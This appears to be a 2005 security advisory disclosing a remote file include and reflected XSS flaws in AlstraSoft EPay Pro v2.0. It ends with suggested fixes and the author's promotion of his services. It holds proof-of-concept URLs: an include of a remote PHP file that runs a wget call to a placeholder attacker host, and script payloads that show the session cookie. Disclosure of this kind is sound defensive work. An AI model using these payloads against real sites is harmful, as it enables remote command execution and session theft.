AlstraSoft EPay Pro v2.0 has file include and multiple xss vulnerabilities

[dcrab <dcrab () hackerscenter com>]

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Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/

Severity: High
Title: AlstraSoft EPay Pro v2.0 has file include and multiple xss vulnerabilities
Date: 02/04/2005

Vendor: AlstraSoft
Vendor Website: http://www.alstrasoft.com
Summary: Alstrasoft epay pro v2. has file include and multiple xss vulnerabilities.

Proof of Concept Exploits: 

http://localhost/epal/index.php?view=http://www.whatismyip.com?
File include vulnerability

Instead of www.whatismyip.com if we replaced that with suppose evil.php on www.server.com which contained evil code 
such as
<?
system('wget http://www.hacker.com";);
?>
and we ran, http://localhost/epal/index.php?view=http://www.server.com/evil it would execute the command and thus this 
can lead to arbitary command execution.


http://localhost/epal/?order_num=crap&payment=";>&lt;script&gt;alert(document.cookie)&lt;/script&gt;&send=first&send=regular&send=priority&send=express
Pops cookie


http://localhost/epal/?order_num=crap&payment=crap&send=first&send=regular&send=priority&send='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie


Possible Fixes: The usage of htmlspeacialchars(), and using a base directory for file include would solve these 
problems.

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Author: 
These vulnerabilties have been found and released by Diabolic Crab, Email: 
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can 
find me at, http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my soon to come out book on Secure 
coding with php.

Diabolic Crab's Security Services: Contact at dcrab[NOSPAM|AT]hackerscenter[NOSPAM|DOT]COM for Php auditing and web 
application securing services, along with programming in php, vb, asp, c, c++, perl, java, html and graphic designing.

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